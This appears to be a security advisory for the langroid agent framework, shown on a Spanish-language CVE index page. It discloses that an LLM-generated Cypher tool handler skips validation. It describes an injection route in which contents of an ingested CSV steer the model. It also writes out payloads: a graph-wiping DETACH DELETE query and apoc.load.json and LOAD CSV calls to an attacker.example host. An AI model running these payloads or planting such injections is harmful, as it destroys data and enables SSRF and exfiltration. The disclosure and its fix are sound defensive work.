GHSA-83W4-CRCP-3W4P
CSVGraphAgent.pandas_to_kg executes LLM-generated Cypher without the allow_dangerous_operations validation gate
Texto original en inglés · Ver en español
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-83W4-CRCP-3W4P divulgada · CVSS 9.8 (GitHub) | |
| Remediación | Parche 0.65.11 | langroid · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
## Summary
`CSVGraphAgent.pandas_to_kg` (a `Neo4jChatAgent` subclass tool handler) executes fully LLM-controlled Cypher via `write_query` with none of the `validate_cypher_query` / `allow_dangerous_operations` gating that the framework enforces on its other Cypher tool handlers. An attacker who can influence the agent's prompt — including indirectly, via the contents of an ingested CSV that are embedded verbatim into the system message — can cause arbitrary Cypher to run under the agent's Neo4j role: full graph read/exfiltration, arbitrary write/destruction (`DETACH DELETE`, `DROP`), `LOAD CSV FROM` a remote URL (SSRF / arbitrary import), and, where APOC / `dbms.security` procedures are enabled on the role, config-conditional remote code execution.
## Root Cause
`CSVGraphAgent.__init__` unconditionally enables the tool: `self.enable_message(PandasToKGTool)` (`langroid/agent/special/neo4j/csv_kg_chat.py:147`). The handler `pandas_to_kg` (`csv_kg_chat.py:149`) takes the fully LLM-controlled `msg.cypherQuery` and passes it straight to `self.write_query(msg.cypherQuery, parameters=...)` at `csv_kg_chat.py:165`, once per CSV row. `write_query` (`neo4j_chat_agent.py`) runs `session.write_transaction(lambda tx: tx.run(query, parameters))` — the statement text is the unmodified LLM string; only the bind `parameters` (values) are parameterized, never the statement text.
The sibling handlers `cypher_retrieval_tool` (`neo4j_chat_agent.py:334`) and `cypher_creation_tool` (`neo4j_chat_agent.py:364`) call `validate_cypher_query(..., allow_dangerous=self.config.allow_dangerous_operations)`. `pandas_to_kg` calls neither `validate_cypher_query` nor consults `allow_dangerous_operations` (grep of `csv_kg_chat.py` for both symbols returns 0 matches). The framework declares `allow_dangerous_operations` (default `False`, documented at `neo4j_chat_agent.py:73-79`) as an intended security boundary; this handler bypasses it entirely. The only pre-execution logic in `write_query` is the `is_creation_query` string check, which merely sets `database_created = True` and blocks nothing.
## Impact
- Floor (default role, no APOC): deterministic arbitrary graph read (C:H), write/destroy via `DETACH DELETE`/`DROP` (I:H, A:H), and `LOAD CSV FROM` a remote URL (SSRF / arbitrary import).
- Ceiling (APOC / `dbms.security` procedures granted on the role — common): `apoc.load.*` (SSRF + file read), `apoc.import/export`, `CALL dbms.*` → config-conditional RCE, at parity with the sibling Neo4j Cypher-execution class.
## Proof of Concept
Configure a `CSVGraphAgent` with default `CSVGraphAgentConfig` (`allow_dangerous_operations=False`) and a reachable Neo4j instance. The attacker influences either the chat prompt or the ingested CSV (its header + first 3 rows are embedded verbatim into the system message at `csv_kg_chat.py:138-140` with no sanitization), steering the LLM to emit `{"request":"pandas_to_kg","cypherQuery":"MATCH (n) DETACH DELETE n","args":[]}` or, for SSRF / RCE-class payloads, `CALL apoc.load.json('http://attacker.example/x') YIELD value RETURN value`, or a `LOAD CSV FROM` a remote attacker URL statement. With `args=[]` the statement is self-contained (`parameters={}`) and runs verbatim.
## Attack Chain
1. Entry: attacker supplies/influences the CSV ingested as `CSVGraphAgentConfig.data`, or influences the chat prompt directly. Guard: none — CSV header + first 3 rows are embedded verbatim into the system message. Bypass proof: `csv_kg_chat.py:138-140` `BUILD_KG_INSTRUCTIONS.format(header=self.df.columns, sample_rows=self.df.head(3))`, no sanitization.
2. Tool emission: the LLM emits `pandas_to_kg` with a malicious `cypherQuery` and `args=[]`. Guard: the family's intended gate `validate_cypher_query(..., allow_dangerous=self.config.allow_dangerous_operations)`. Bypass proof: the gate is never invoked on this path — grep of `csv_kg_chat.py` for `validate_cypher` / `allow_dangerous` returns NONE; handler `pandas_to_kg` (csv_kg_chat.py:149-174) goes straight to `write_query`.
3. Execution: `write_query(msg.cypherQuery, parameters=...)` (csv_kg_chat.py:165) runs the raw statement in a write transaction. Guard: `write_query`'s only pre-execution logic is the `is_creation_query` string check, which merely sets `database_created = True`. Bypass proof (sink): `neo4j_chat_agent.py` `session.write_transaction(lambda tx: tx.run(query, parameters))` — `query` is the unmodified LLM string; only bind `parameters` are parameterized.
4. Impact: arbitrary Cypher under the agent's Neo4j role — full graph read/exfiltration, `DETACH DELETE`/`DROP`, `LOAD CSV FROM` a remote URL (SSRF); config-conditional RCE where APOC/`dbms.security` procedures are enabled.
## Bypass Evidence
Run against `cypher_validator.py` with the sibling creation-tool settings (`is_write=True, allow_dangerous=False`): the `apoc.load.json(...)`, `LOAD CSV FROM <remote>`, and `CALL dbms.security.listUsers()` payloads are all REJECTED by the sibling creation tool, while `MATCH (n) DETACH DELETE n` is allowed on the write path. Those same `apoc.*`, `LOAD CSV`, and `dbms.*` payloads reach `write_query` verbatim through `pandas_to_kg`, because that handler invokes neither `validate_cypher_query` nor `allow_dangerous_operations`. `DETACH DELETE` (arbitrary destruction) executes on every path.
Fix-scope evidence: the related fix commit `5a3097d` touched only `cypher_validator.py` (new), `neo4j_chat_agent.py` (+22, the two sibling handlers), the arangodb validator/agent, and tests — it never touched `csv_kg_chat.py` (`git show --stat 5a3097d | grep -c csv_kg_chat` returns 0). `csv_kg_chat.py` was last modified at `82490dc` (v0.42.7), long before that fix. This handler is a distinct, still-unpatched Cypher-execution path requiring an independent fix.
## Affected Versions
`<= 0.65.7` (latest release tag, also current HEAD). Vulnerable code verified present on tag `0.65.7`: `write_query` call at `csv_kg_chat.py:165`, no validation on the path, no post-release fix on this file.
## Suggested Fix
Call `validate_cypher_query(msg.cypherQuery, is_write=True, allow_dangerous=self.config.allow_dangerous_operations)` in `pandas_to_kg` before `write_query`, or (better) push validation into `read_query`/`write_query` so all execution paths are gated by the same boundary.
---
Reported by zx (Jace)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypilangroid |
Corregida | 0.65.11 | 0 d | 0.69.22 no afectada |
0.65.11Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/langroid/langroid/security/advisories/GHSA-83w4-crcp-3w4pLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
